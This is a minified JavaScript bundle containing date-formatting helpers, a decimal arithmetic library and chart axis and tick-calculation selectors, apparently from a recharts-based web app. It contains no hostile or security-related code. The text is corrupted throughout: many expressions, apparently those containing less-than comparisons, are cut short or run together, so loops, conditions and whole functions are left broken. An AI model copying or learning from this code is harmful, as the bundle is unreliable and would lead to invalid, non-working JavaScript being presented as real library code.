e.getDay()}function A7(e,t){return _e(Ou.count(Rr(e)-1,e),t,2)}function O7(e,t){return _e(e.getFullYear()%100,t,2)}function T7(e,t){return e=p4(e),_e(e.getFullYear()%100,t,2)}function M7(e,t){return _e(e.getFullYear()%1e4,t,4)}function L7(e,t){var n=e.getDay();return e=n>=4||n===0?ds(e):ds.ceil(e),_e(e.getFullYear()%1e4,t,4)}function I7(e){var t=e.getTimezoneOffset();return(t>0?"-":(t*=-1,"+"))+_e(t/60|0,"0",2)+_e(t%60,"0",2)}function fb(e,t){return _e(e.getUTCDate(),t,2)}function D7(e,t){return _e(e.getUTCHours(),t,2)}function R7(e,t){return _e(e.getUTCHours()%12||12,t,2)}function $7(e,t){return _e(1+Xd.count($r(e),e),t,3)}function h4(e,t){return _e(e.getUTCMilliseconds(),t,3)}function B7(e,t){return h4(e,t)+"000"}function F7(e,t){return _e(e.getUTCMonth()+1,t,2)}function W7(e,t){return _e(e.getUTCMinutes(),t,2)}function U7(e,t){return _e(e.getUTCSeconds(),t,2)}function V7(e){var t=e.getUTCDay();return t===0?7:t}function H7(e,t){return _e(Qd.count($r(e)-1,e),t,2)}function x4(e){var t=e.getUTCDay();return t>=4||t===0?fs(e):fs.ceil(e)}function K7(e,t){return e=x4(e),_e(fs.count($r(e),e)+($r(e).getUTCDay()===4),t,2)}function Y7(e){return e.getUTCDay()}function q7(e,t){return _e(Tu.count($r(e)-1,e),t,2)}function G7(e,t){return _e(e.getUTCFullYear()%100,t,2)}function X7(e,t){return e=x4(e),_e(e.getUTCFullYear()%100,t,2)}function Z7(e,t){return _e(e.getUTCFullYear()%1e4,t,4)}function Q7(e,t){var n=e.getUTCDay();return e=n>=4||n===0?fs(e):fs.ceil(e),_e(e.getUTCFullYear()%1e4,t,4)}function J7(){return"+0000"}function mb(){return"%"}function pb(e){return+e}function hb(e){return Math.floor(+e/1e3)}var ka,v4,g4;eI({dateTime:"%x, %X",date:"%-m/%-d/%Y",time:"%-I:%M:%S %p",periods:["AM","PM"],days:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],shortDays:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],months:["January","February","March","April","May","June","July","August","September","October","November","December"],shortMonths:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"]});function eI(e){return ka=e7(e),v4=ka.format,ka.parse,g4=ka.utcFormat,ka.utcParse,ka}function tI(e){return new Date(e)}function nI(e){return e instanceof Date?+e:+new Date(+e)}function N0(e,t,n,r,i,s,o,l,c,u){var d=c0(),f=d.invert,p=d.domain,h=u(".%L"),x=u(":%S"),g=u("%I:%M"),y=u("%I %p"),v=u("%a %d"),b=u("%b %d"),w=u("%B"),j=u("%Y");function N(z){return(c(z)t(i/(e.length-1)))},n.quantiles=function(r){return Array.from({length:r+1},(i,s)=>V8(e,s/r))},n.copy=function(){return j4(t).domain(e)},Yr.apply(n,arguments)}function ef(){var e=0,t=.5,n=1,r=1,i,s,o,l,c,u=Ft,d,f=!1,p;function h(g){return isNaN(g=+g)?p:(g=.5+((g=+d(g))-s)*(r*ge.chartData,tf=L([qr],e=>{var t=e.chartData!=null?e.chartData.length-1:0;return{chartData:e.chartData,computedData:e.computedData,dataEndIndex:t,dataStartIndex:0}}),S4=(e,t,n,r)=>r?tf(e):qr(e),oI=(e,t,n)=>n?tf(e):qr(e);function Br(e){if(Array.isArray(e)&&e.length===2){var[t,n]=e;if(Ee(t)&&Ee(n))return!0}return!1}function xb(e,t,n){return n?e:[Math.min(e[0],t[0]),Math.max(e[1],t[1])]}function C4(e,t){if(t&&typeof e!="function"&&Array.isArray(e)&&e.length===2){var[n,r]=e,i,s;if(Ee(n))i=n;else if(typeof n=="function")return;if(Ee(r))s=r;else if(typeof r=="function")return;var o=[i,s];if(Br(o))return o}}function lI(e,t,n){if(!(!n&&t==null)){if(typeof e=="function"&&t!=null)try{var r=e(t,n);if(Br(r))return xb(r,t,n)}catch{}if(Array.isArray(e)&&e.length===2){var[i,s]=e,o,l;if(i==="auto")t!=null&&(o=Math.min(...t));else if(ge(i))o=i;else if(typeof i=="function")try{t!=null&&(o=i(t==null?void 0:t[0]))}catch{}else if(typeof i=="string"&&My.test(i)){var c=My.exec(i);if(c==null||c[1]==null||t==null)o=void 0;else{var u=+c[1];o=t[0]-u}}else o=t==null?void 0:t[0];if(s==="auto")t!=null&&(l=Math.max(...t));else if(ge(s))l=s;else if(typeof s=="function")try{t!=null&&(l=s(t==null?void 0:t[1]))}catch{}else if(typeof s=="string"&&Ly.test(s)){var d=Ly.exec(s);if(d==null||d[1]==null||t==null)l=void 0;else{var f=+d[1];l=t[1]+f}}else l=t==null?void 0:t[1];var p=[o,l];if(Br(p))return t==null?p:xb(p,t,n)}}}var js=1e9,cI={precision:20,rounding:4,toExpNeg:-7,toExpPos:21,LN10:"2.302585092994045684017991454684364207601101488628772976033327900967572609677352480235997205089598298341967784042286"},C0,Ye=!0,Tn="[DecimalError] ",ta=Tn+"Invalid argument: ",S0=Tn+"Exponent out of range: ",Ns=Math.floor,Ui=Math.pow,uI=/^(\d+(\.\d*)?|\.\d+)(e[+-]?\d+)?$/i,ln,wt=1e7,We=7,P4=9007199254740991,Mu=Ns(P4/We),pe={};pe.absoluteValue=pe.abs=function(){var e=new this.constructor(this);return e.s&&(e.s=1),e};pe.comparedTo=pe.cmp=function(e){var t,n,r,i,s=this;if(e=new s.constructor(e),s.s!==e.s)return s.s||-e.s;if(s.e!==e.e)return s.e>e.e^s.s<0?1:-1;for(r=s.d.length,i=e.d.length,t=0,n=re.d[t]^s.s<0?1:-1;return r===i?0:r>i^s.s<0?1:-1};pe.decimalPlaces=pe.dp=function(){var e=this,t=e.d.length-1,n=(t-e.e)*We;if(t=e.d[t],t)for(;t%10==0;t/=10)n--;return n<0?0:n};pe.dividedBy=pe.div=function(e){return Er(this,new this.constructor(e))};pe.dividedToIntegerBy=pe.idiv=function(e){var t=this,n=t.constructor;return Ie(Er(t,new n(e),0,1),n.precision)};pe.equals=pe.eq=function(e){return!this.cmp(e)};pe.exponent=function(){return ft(this)};pe.greaterThan=pe.gt=function(e){return this.cmp(e)>0};pe.greaterThanOrEqualTo=pe.gte=function(e){return this.cmp(e)>=0};pe.isInteger=pe.isint=function(){return this.e>this.d.length-2};pe.isNegative=pe.isneg=function(){return this.s<0};pe.isPositive=pe.ispos=function(){return this.s>0};pe.isZero=function(){return this.s===0};pe.lessThan=pe.lt=function(e){return this.cmp(e)<0};pe.lessThanOrEqualTo=pe.lte=function(e){return this.cmp(e)<1};pe.logarithm=pe.log=function(e){var t,n=this,r=n.constructor,i=r.precision,s=i+5;if(e===void 0)e=new r(10);else if(e=new r(e),e.s<1||e.eq(ln))throw Error(Tn+"NaN");if(n.s<1)throw Error(Tn+(n.s?"NaN":"-Infinity"));return n.eq(ln)?new r(0):(Ye=!1,t=Er(Xo(n,s),Xo(e,s),s),Ye=!0,Ie(t,i))};pe.minus=pe.sub=function(e){var t=this;return e=new t.constructor(e),t.s==e.s?A4(t,e):E4(t,(e.s=-e.s,e))};pe.modulo=pe.mod=function(e){var t,n=this,r=n.constructor,i=r.precision;if(e=new r(e),!e.s)throw Error(Tn+"NaN");return n.s?(Ye=!1,t=Er(n,e,0,1).times(e),Ye=!0,n.minus(t)):Ie(new r(n),i)};pe.naturalExponential=pe.exp=function(){return _4(this)};pe.naturalLogarithm=pe.ln=function(){return Xo(this)};pe.negated=pe.neg=function(){var e=new this.constructor(this);return e.s=-e.s||0,e};pe.plus=pe.add=function(e){var t=this;return e=new t.constructor(e),t.s==e.s?E4(t,e):A4(t,(e.s=-e.s,e))};pe.precision=pe.sd=function(e){var t,n,r,i=this;if(e!==void 0&&e!==!!e&&e!==1&&e!==0)throw Error(ta+e);if(t=ft(i)+1,r=i.d.length-1,n=r*We+1,r=i.d[r],r){for(;r%10==0;r/=10)n--;for(r=i.d[0];r>=10;r/=10)n++}return e&&t>n?t:n};pe.squareRoot=pe.sqrt=function(){var e,t,n,r,i,s,o,l=this,c=l.constructor;if(l.s<1){if(!l.s)return new c(0);throw Error(Tn+"NaN")}for(e=ft(l),Ye=!1,i=Math.sqrt(+l),i==0||i==1/0?(t=cr(l.d),(t.length+e)%2==0&&(t+="0"),i=Math.sqrt(t),e=Ns((e+1)/2)-(e<0||e%2),i==1/0?t="5e"+e:(t=i.toExponential(),t=t.slice(0,t.indexOf("e")+1)+e),r=new c(t)):r=new c(i.toString()),n=c.precision,i=o=n+3;;)if(s=r,r=s.plus(Er(l,s,o+2)).times(.5),cr(s.d).slice(0,o)===(t=cr(r.d)).slice(0,o)){if(t=t.slice(o-3,o+1),i==o&&t=="4999"){if(Ie(s,n+1,0),s.times(s).eq(l)){r=s;break}}else if(t!="9999")break;o+=4}return Ye=!0,Ie(r,n)};pe.times=pe.mul=function(e){var t,n,r,i,s,o,l,c,u,d=this,f=d.constructor,p=d.d,h=(e=new f(e)).d;if(!d.s||!e.s)return new f(0);for(e.s*=d.s,n=d.e+e.e,c=p.length,u=h.length,c=0;){for(t=0,i=c+r;i>r;)l=s[i]+h[r]*p[i-r-1]+t,s[i--]=l%wt|0,t=l/wt|0;s[i]=(s[i]+t)%wt|0}for(;!s[--o];)s.pop();return t?++n:s.shift(),e.d=s,e.e=n,Ye?Ie(e,f.precision):e};pe.toDecimalPlaces=pe.todp=function(e,t){var n=this,r=n.constructor;return n=new r(n),e===void 0?n:(pr(e,0,js),t===void 0?t=r.rounding:pr(t,0,8),Ie(n,e+ft(n)+1,t))};pe.toExponential=function(e,t){var n,r=this,i=r.constructor;return e===void 0?n=ha(r,!0):(pr(e,0,js),t===void 0?t=i.rounding:pr(t,0,8),r=Ie(new i(r),e+1,t),n=ha(r,!0,e+1)),n};pe.toFixed=function(e,t){var n,r,i=this,s=i.constructor;return e===void 0?ha(i):(pr(e,0,js),t===void 0?t=s.rounding:pr(t,0,8),r=Ie(new s(i),e+ft(i)+1,t),n=ha(r.abs(),!1,e+ft(r)+1),i.isneg()&&!i.isZero()?"-"+n:n)};pe.toInteger=pe.toint=function(){var e=this,t=e.constructor;return Ie(new t(e),ft(e)+1,t.rounding)};pe.toNumber=function(){return+this};pe.toPower=pe.pow=function(e){var t,n,r,i,s,o,l=this,c=l.constructor,u=12,d=+(e=new c(e));if(!e.s)return new c(ln);if(l=new c(l),!l.s){if(e.s<1)throw Error(Tn+"Infinity");return l}if(l.eq(ln))return l;if(r=c.precision,e.eq(ln))return Ie(l,r);if(t=e.e,n=e.d.length-1,o=t>=n,s=l.s,o){if((n=d<0?-d:d)<=P4){for(i=new c(ln),t=Math.ceil(r/We+4),Ye=!1;n%2&&(i=i.times(l),gb(i.d,t)),n=Ns(n/2),n!==0;)l=l.times(l),gb(l.d,t);return Ye=!0,e.s<0?new c(ln).div(i):Ie(i,r)}}else if(s<0)throw Error(Tn+"NaN");return s=s<0&&e.d[Math.max(t,n)]&1?-1:1,l.s=1,Ye=!1,i=e.times(Xo(l,r+u)),Ye=!0,i=_4(i),i.s=s,i};pe.toPrecision=function(e,t){var n,r,i=this,s=i.constructor;return e===void 0?(n=ft(i),r=ha(i,n<=s.toExpNeg||n>=s.toExpPos)):(pr(e,1,js),t===void 0?t=s.rounding:pr(t,0,8),i=Ie(new s(i),e,t),n=ft(i),r=ha(i,e<=n||n<=s.toExpNeg,e)),r};pe.toSignificantDigits=pe.tosd=function(e,t){var n=this,r=n.constructor;return e===void 0?(e=r.precision,t=r.rounding):(pr(e,1,js),t===void 0?t=r.rounding:pr(t,0,8)),Ie(new r(n),e,t)};pe.toString=pe.valueOf=pe.val=pe.toJSON=pe[Symbol.for("nodejs.util.inspect.custom")]=function(){var e=this,t=ft(e),n=e.constructor;return ha(e,t<=n.toExpNeg||t>=n.toExpPos)};function E4(e,t){var n,r,i,s,o,l,c,u,d=e.constructor,f=d.precision;if(!e.s||!t.s)return t.s||(t=new d(e)),Ye?Ie(t,f):t;if(c=e.d,u=t.d,o=e.e,i=t.e,c=c.slice(),s=o-i,s){for(s<0?(r=c,s=-s,l=u.length):(r=u,i=o,l=c.length),o=Math.ceil(f/We),l=o>l?o+1:l+1,s>l&&(s=l,r.length=1),r.reverse();s--;)r.push(0);r.reverse()}for(l=c.length,s=u.length,l-s<0&&(s=l,r=u,u=c,c=r),n=0;s;)n=(c[--s]=c[s]+u[s]+n)/wt|0,c[s]%=wt;for(n&&(c.unshift(n),++i),l=c.length;c[--l]==0;)c.pop();return t.d=c,t.e=i,Ye?Ie(t,f):t}function pr(e,t,n){if(e!==~~e||en)throw Error(ta+e)}function cr(e){var t,n,r,i=e.length-1,s="",o=e[0];if(i>0){for(s+=o,t=1;to?1:-1;else for(l=c=0;li[l]?1:-1;break}return c}function n(r,i,s){for(var o=0;s--;)r[s]-=o,o=r[s]1;)r.shift()}return function(r,i,s,o){var l,c,u,d,f,p,h,x,g,y,v,b,w,j,N,z,k,S,A=r.constructor,_=r.s==i.s?1:-1,O=r.d,P=i.d;if(!r.s)return new A(r);if(!i.s)throw Error(Tn+"Division by zero");for(c=r.e-i.e,k=P.length,N=O.length,h=new A(_),x=h.d=[],u=0;P[u]==(O[u]||0);)++u;if(P[u]>(O[u]||0)&&--c,s==null?b=s=A.precision:o?b=s+(ft(r)-ft(i))+1:b=s,b<0)return new A(0);if(b=b/We+2|0,u=0,k==1)for(d=0,P=P[0],b++;(u1&&(P=e(P,d),O=e(O,d),k=P.length,N=O.length),j=k,g=O.slice(0,k),y=g.length;y=wt/2&&++z;do d=0,l=t(P,g,k,y),l<0?(v=g[0],k!=y&&(v=v*wt+(g[1]||0)),d=v/z|0,d>1?(d>=wt&&(d=wt-1),f=e(P,d),p=f.length,y=g.length,l=t(f,g,p,y),l==1&&(d--,n(f,k16)throw Error(S0+ft(e));if(!e.s)return new d(ln);for(Ye=!1,l=f,o=new d(.03125);e.abs().gte(.1);)e=e.times(o),u+=5;for(r=Math.log(Ui(2,u))/Math.LN10*2+5|0,l+=r,n=i=s=new d(ln),d.precision=l;;){if(i=Ie(i.times(e),l),n=n.times(++c),o=s.plus(Er(i,n,l)),cr(o.d).slice(0,l)===cr(s.d).slice(0,l)){for(;u--;)s=Ie(s.times(s),l);return d.precision=f,t==null?(Ye=!0,Ie(s,f)):s}s=o}}function ft(e){for(var t=e.e*We,n=e.d[0];n>=10;n/=10)t++;return t}function wm(e,t,n){if(t>e.LN10.sd())throw Ye=!0,n&&(e.precision=n),Error(Tn+"LN10 precision limit exceeded");return Ie(new e(e.LN10),t)}function ri(e){for(var t="";e--;)t+="0";return t}function Xo(e,t){var n,r,i,s,o,l,c,u,d,f=1,p=10,h=e,x=h.d,g=h.constructor,y=g.precision;if(h.s<1)throw Error(Tn+(h.s?"NaN":"-Infinity"));if(h.eq(ln))return new g(0);if(t==null?(Ye=!1,u=y):u=t,h.eq(10))return t==null&&(Ye=!0),wm(g,u);if(u+=p,g.precision=u,n=cr(x),r=n.charAt(0),s=ft(h),Math.abs(s)<15e14){for(;r<7&&r!=1||r==1&&n.charAt(1)>3;)h=h.times(e),n=cr(h.d),r=n.charAt(0),f++;s=ft(h),r>1?(h=new g("0."+n),s++):h=new g(r+"."+n.slice(1))}else return c=wm(g,u+2,y).times(s+""),h=Xo(new g(r+"."+n.slice(1)),u-p).plus(c),g.precision=y,t==null?(Ye=!0,Ie(h,y)):h;for(l=o=h=Er(h.minus(ln),h.plus(ln),u),d=Ie(h.times(h),u),i=3;;){if(o=Ie(o.times(d),u),c=l.plus(Er(o,new g(i),u)),cr(c.d).slice(0,u)===cr(l.d).slice(0,u))return l=l.times(2),s!==0&&(l=l.plus(wm(g,u+2,y).times(s+""))),l=Er(l,new g(f),u),g.precision=y,t==null?(Ye=!0,Ie(l,y)):l;l=c,i+=2}}function vb(e,t){var n,r,i;for((n=t.indexOf("."))>-1&&(t=t.replace(".","")),(r=t.search(/e/i))>0?(n<0&&(n=r),n+=+t.slice(r+1),t=t.substring(0,r)):n<0&&(n=t.length),r=0;t.charCodeAt(r)===48;)++r;for(i=t.length;t.charCodeAt(i-1)===48;)--i;if(t=t.slice(r,i),t){if(i-=r,n=n-r-1,e.e=Ns(n/We),e.d=[],r=(n+1)%We,n<0&&(r+=We),rMu||e.e<-Mu))throw Error(S0+n)}else e.s=0,e.e=0,e.d=[0];return e}function Ie(e,t,n){var r,i,s,o,l,c,u,d,f=e.d;for(o=1,s=f[0];s>=10;s/=10)o++;if(r=t-o,r<0)r+=We,i=t,u=f[d=0];else{if(d=Math.ceil((r+1)/We),s=f.length,d>=s)return e;for(u=s=f[d],o=1;s>=10;s/=10)o++;r%=We,i=r-We+o}if(n!==void 0&&(s=Ui(10,o-i-1),l=u/s%10|0,c=t<0||f[d+1]!==void 0||u%s,c=n<4?(l||c)&&(n==0||n==(e.s<0?3:2)):l>5||l==5&&(n==4||c||n==6&&(r>0?i>0?u/Ui(10,o-i):0:f[d-1])%10&1||n==(e.s<0?8:7))),t<1||!f[0])return c?(s=ft(e),f.length=1,t=t-s-1,f[0]=Ui(10,(We-t%We)%We),e.e=Ns(-t/We)||0):(f.length=1,f[0]=e.e=e.s=0),e;if(r==0?(f.length=d,s=1,d--):(f.length=d+1,s=Ui(10,We-r),f[d]=i>0?(u/Ui(10,o-i)%Ui(10,i)|0)*s:0),c)for(;;)if(d==0){(f[0]+=s)==wt&&(f[0]=1,++e.e);break}else{if(f[d]+=s,f[d]!=wt)break;f[d--]=0,s=1}for(r=f.length;f[--r]===0;)f.pop();if(Ye&&(e.e>Mu||e.e<-Mu))throw Error(S0+ft(e));return e}function A4(e,t){var n,r,i,s,o,l,c,u,d,f,p=e.constructor,h=p.precision;if(!e.s||!t.s)return t.s?t.s=-t.s:t=new p(e),Ye?Ie(t,h):t;if(c=e.d,f=t.d,r=t.e,u=e.e,c=c.slice(),o=u-r,o){for(d=o<0,d?(n=c,o=-o,l=f.length):(n=f,r=u,l=c.length),i=Math.max(Math.ceil(h/We),l)+2,o>i&&(o=i,n.length=1),n.reverse(),i=o;i--;)n.push(0);n.reverse()}else{for(i=c.length,l=f.length,d=i0;--i)c[l++]=0;for(i=f.length;i>o;){if(c[--i]0?s=s.charAt(0)+"."+s.slice(1)+ri(r):o>1&&(s=s.charAt(0)+"."+s.slice(1)),s=s+(i<0?"e":"e+")+i):i<0?(s="0."+ri(-i-1)+s,n&&(r=n-o)>0&&(s+=ri(r))):i>=o?(s+=ri(i+1-o),n&&(r=n-i-1)>0&&(s=s+"."+ri(r))):((r=i+1)0&&(i+1===o&&(s+="."),s+=ri(r))),e.s<0?"-"+s:s}function gb(e,t){if(e.length>t)return e.length=t,!0}function O4(e){var t,n,r;function i(s){var o=this;if(!(o instanceof i))return new i(s);if(o.constructor=i,s instanceof i){o.s=s.s,o.e=s.e,o.d=(s=s.d)?s.slice():s;return}if(typeof s=="number"){if(s*0!==0)throw Error(ta+s);if(s>0)o.s=1;else if(s<0)s=-s,o.s=-1;else{o.s=0,o.e=0,o.d=[0];return}if(s===~~s&&s<1e7){o.e=0,o.d=[s];return}return vb(o,s.toString())}else if(typeof s!="string")throw Error(ta+s);if(s.charCodeAt(0)===45?(s=s.slice(1),o.s=-1):o.s=1,uI.test(s))vb(o,s);else throw Error(ta+s)}if(i.prototype=pe,i.ROUND_UP=0,i.ROUND_DOWN=1,i.ROUND_CEIL=2,i.ROUND_FLOOR=3,i.ROUND_HALF_UP=4,i.ROUND_HALF_DOWN=5,i.ROUND_HALF_EVEN=6,i.ROUND_HALF_CEIL=7,i.ROUND_HALF_FLOOR=8,i.clone=O4,i.config=i.set=dI,e===void 0&&(e={}),e)for(r=["precision","rounding","toExpNeg","toExpPos","LN10"],t=0;t=i[t+1]&&r<=i[t+2])this[n]=r;else throw Error(ta+n+": "+r);if((r=e[n="LN10"])!==void 0)if(r==Math.LN10)this[n]=new this(r);else throw Error(ta+n+": "+r);return this}var C0=O4(cI);ln=new C0(1);const Te=C0;function T4(e){var t;return e===0?t=1:t=Math.floor(new Te(e).abs().log(10).toNumber())+1,t}function M4(e,t,n){for(var r=new Te(e),i=0,s=[];r.lt(t)&&i<1e5;)s.push(r.toNumber()),r=r.add(n),i++;return s}var L4=e=>{var[t,n]=e,[r,i]=[t,n];return t>n&&([r,i]=[n,t]),[r,i]},I4=(e,t,n)=>{if(e.lte(0))return new Te(0);var r=T4(e.toNumber()),i=new Te(10).pow(r),s=e.div(i),o=r!==1?.05:.1,l=new Te(Math.ceil(s.div(o).toNumber())).add(n).mul(o),c=l.mul(i);return t?new Te(c.toNumber()):new Te(Math.ceil(c.toNumber()))},fI=(e,t,n)=>{var r=new Te(1),i=new Te(e);if(!i.isint()&&n){var s=Math.abs(e);s<1?(r=new Te(10).pow(T4(e)-1),i=new Te(Math.floor(i.div(r).toNumber())).mul(r)):s>1&&(i=new Te(Math.floor(e)))}else e===0?i=new Te(Math.floor((t-1)/2)):n||(i=new Te(Math.floor(e)));for(var o=Math.floor((t-1)/2),l=[],c=0;c4&&arguments[4]!==void 0?arguments[4]:0;if(!Number.isFinite((n-t)/(r-1)))return{step:new Te(0),tickMin:new Te(0),tickMax:new Te(0)};var o=I4(new Te(n).sub(t).div(r-1),i,s),l;t<=0&&n>=0?l=new Te(0):(l=new Te(t).add(n).div(2),l=l.sub(new Te(l).mod(o)));var c=Math.ceil(l.sub(t).div(o).toNumber()),u=Math.ceil(new Te(n).sub(l).div(o).toNumber()),d=c+u+1;return d>r?D4(t,n,r,i,s+1):(d0?u+(r-d):u,c=n>0?c:c+(r-d)),{step:o,tickMin:l.sub(new Te(c).mul(o)),tickMax:l.add(new Te(u).mul(o))})},mI=function(t){var[n,r]=t,i=arguments.length>1&&arguments[1]!==void 0?arguments[1]:6,s=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0,o=Math.max(i,2),[l,c]=L4([n,r]);if(l===-1/0||c===1/0){var u=c===1/0?[l,...Array(i-1).fill(1/0)]:[...Array(i-1).fill(-1/0),c];return n>r?u.reverse():u}if(l===c)return fI(l,i,s);var{step:d,tickMin:f,tickMax:p}=D4(l,c,o,s,0),h=M4(f,p.add(new Te(.1).mul(d)),d);return n>r?h.reverse():h},pI=function(t,n){var[r,i]=t,s=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0,[o,l]=L4([r,i]);if(o===-1/0||l===1/0)return[r,i];if(o===l)return[o];var c=Math.max(n,2),u=I4(new Te(l).sub(o).div(c-1),s,0),d=[...M4(new Te(o),new Te(l),u),l];return s===!1&&(d=d.map(f=>Math.round(f))),r>i?d.reverse():d},hI=e=>e.rootProps.barCategoryGap,hl=e=>e.rootProps.stackOffset,R4=e=>e.rootProps.reverseStackOrder,P0=e=>e.options.chartName,E0=e=>e.rootProps.syncId,$4=e=>e.rootProps.syncMethod,_0=e=>e.options.eventEmitter,xI=e=>e.rootProps.baseValue,Zt={grid:-100,barBackground:-50,area:100,cursorRectangle:200,bar:300,line:400,axis:500,scatter:600,activeBar:1e3,cursorLine:1100,activeDot:1200,label:2e3},Ii={allowDecimals:!1,allowDataOverflow:!1,angleAxisId:0,reversed:!1,scale:"auto",tick:!0,type:"auto"},nr={allowDataOverflow:!1,allowDecimals:!1,allowDuplicatedCategory:!0,includeHidden:!1,radiusAxisId:0,reversed:!1,scale:"auto",tick:!0,tickCount:5,type:"auto"},nf=(e,t)=>{if(!(!e||!t))return e!=null&&e.reversed?[t[1],t[0]]:t};function B4(e,t,n){if(n!=="auto")return n;if(e!=null)return vr(e,t)?"category":"number"}function yb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Lu(e){for(var t=1;t{if(t!=null)return e.polarAxis.angleAxis[t]},A0=L([bI,jk],(e,t)=>{var n;if(e!=null)return e;var r=(n=B4(t,"angleAxis",bb.type))!==null&&n!==void 0?n:"category";return Lu(Lu({},bb),{},{type:r})}),wI=(e,t)=>e.polarAxis.radiusAxis[t],O0=L([wI,jk],(e,t)=>{var n;if(e!=null)return e;var r=(n=B4(t,"radiusAxis",wb.type))!==null&&n!==void 0?n:"category";return Lu(Lu({},wb),{},{type:r})}),rf=e=>e.polarOptions,T0=L([Hr,Kr,kt],$k),F4=L([rf,T0],(e,t)=>{if(e!=null)return fn(e.innerRadius,t,0)}),W4=L([rf,T0],(e,t)=>{if(e!=null)return fn(e.outerRadius,t,t*.8)}),jI=e=>{if(e==null)return[0,0];var{startAngle:t,endAngle:n}=e;return[t,n]},U4=L([rf],jI);L([A0,U4],nf);var V4=L([T0,F4,W4],(e,t,n)=>{if(!(e==null||t==null||n==null))return[t,n]});L([O0,V4],nf);var H4=L([De,rf,F4,W4,Hr,Kr],(e,t,n,r,i,s)=>{if(!(e!=="centric"&&e!=="radial"||t==null||n==null||r==null)){var{cx:o,cy:l,startAngle:c,endAngle:u}=t;return{cx:fn(o,i,i/2),cy:fn(l,s,s/2),innerRadius:n,outerRadius:r,startAngle:c,endAngle:u,clockWise:!1}}}),Je=(e,t)=>t,xl=(e,t,n)=>n;function M0(e){return e==null?void 0:e.id}function K4(e,t,n){var{chartData:r=[]}=t,{allowDuplicatedCategory:i,dataKey:s}=n,o=new Map;return e.forEach(l=>{var c,u=(c=l.data)!==null&&c!==void 0?c:r;if(!(u==null||u.length===0)){var d=M0(l);u.forEach((f,p)=>{var h=s==null||i?p:String(Ve(f,s,null)),x=Ve(f,l.dataKey,0),g;o.has(h)?g=o.get(h):g={},Object.assign(g,{[d]:x}),o.set(h,g)})}}),Array.from(o.values())}function L0(e){return"stackId"in e&&e.stackId!=null&&e.dataKey!=null}var af=(e,t)=>e===t?!0:e==null||t==null?!1:e[0]===t[0]&&e[1]===t[1];function sf(e,t){return Array.isArray(e)&&Array.isArray(t)&&e.length===0&&t.length===0?!0:e===t}function NI(e,t){if(e.length===t.length){for(var n=0;n{var t=De(e);return t==="horizontal"?"xAxis":t==="vertical"?"yAxis":t==="centric"?"angleAxis":"radiusAxis"},ks=e=>e.tooltip.settings.axisId;function kI(e){if(e in ro)return ro[e]();var t="scale".concat(al(e));if(t in ro)return ro[t]()}function jb(e){var t=e.ticks,n=e.bandwidth,r=e.range(),i=[Math.min(...r),Math.max(...r)];return{domain:()=>e.domain(),range:function(s){function o(){return s.apply(this,arguments)}return o.toString=function(){return s.toString()},o}(()=>i),rangeMin:()=>i[0],rangeMax:()=>i[1],isInRange(s){var o=i[0],l=i[1];return o<=l?s>=o&&s<=l:s>=l&&s<=o},bandwidth:n?()=>n.call(e):void 0,ticks:t?s=>t.call(e,s):void 0,map:(s,o)=>{var l=e(s);if(l!=null){if(e.bandwidth&&o!==null&&o!==void 0&&o.position){var c=e.bandwidth();switch(o.position){case"middle":l+=c/2;break;case"end":l+=c;break}}return l}}}}function Nb(e,t,n){if(typeof e=="function")return jb(e.copy().domain(t).range(n));if(e!=null){var r=kI(e);if(r!=null)return r.domain(t).range(n),jb(r)}}var Y4=(e,t)=>{if(t!=null)switch(e){case"linear":{if(!Br(t)){for(var n,r,i=0;ir)&&(r=s))}return n!==void 0&&r!==void 0?[n,r]:void 0}return t}default:return t}};function kb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Iu(e){for(var t=1;te.cartesianAxis.xAxis[t],Gr=(e,t)=>{var n=PI(e,t);return n??q4},G4={allowDataOverflow:!1,allowDecimals:!0,allowDuplicatedCategory:!0,angle:0,dataKey:void 0,domain:vh,hide:!0,id:0,includeHidden:!1,interval:"preserveEnd",minTickGap:5,mirror:!1,name:void 0,orientation:"left",padding:{top:0,bottom:0},reversed:!1,scale:"auto",tick:!0,tickCount:5,tickFormatter:void 0,ticks:void 0,type:"number",unit:void 0,width:ll},EI=(e,t)=>e.cartesianAxis.yAxis[t],Xr=(e,t)=>{var n=EI(e,t);return n??G4},_I={domain:[0,"auto"],includeHidden:!1,reversed:!1,allowDataOverflow:!1,allowDuplicatedCategory:!1,dataKey:void 0,id:0,name:"",range:[64,64],scale:"auto",type:"number",unit:""},I0=(e,t)=>{var n=e.cartesianAxis.zAxis[t];return n??_I},it=(e,t,n)=>{switch(t){case"xAxis":return Gr(e,n);case"yAxis":return Xr(e,n);case"zAxis":return I0(e,n);case"angleAxis":return A0(e,n);case"radiusAxis":return O0(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},AI=(e,t,n)=>{switch(t){case"xAxis":return Gr(e,n);case"yAxis":return Xr(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},zs=(e,t,n)=>{switch(t){case"xAxis":return Gr(e,n);case"yAxis":return Xr(e,n);case"angleAxis":return A0(e,n);case"radiusAxis":return O0(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},X4=e=>e.graphicalItems.cartesianItems.some(t=>t.type==="bar")||e.graphicalItems.polarItems.some(t=>t.type==="radialBar");function D0(e,t){return n=>{switch(e){case"xAxis":return"xAxisId"in n&&n.xAxisId===t;case"yAxis":return"yAxisId"in n&&n.yAxisId===t;case"zAxis":return"zAxisId"in n&&n.zAxisId===t;case"angleAxis":return"angleAxisId"in n&&n.angleAxisId===t;case"radiusAxis":return"radiusAxisId"in n&&n.radiusAxisId===t;default:return!1}}}var Z4=e=>e.graphicalItems.cartesianItems,OI=L([Je,xl],D0),R0=(e,t,n)=>e.filter(n).filter(r=>(t==null?void 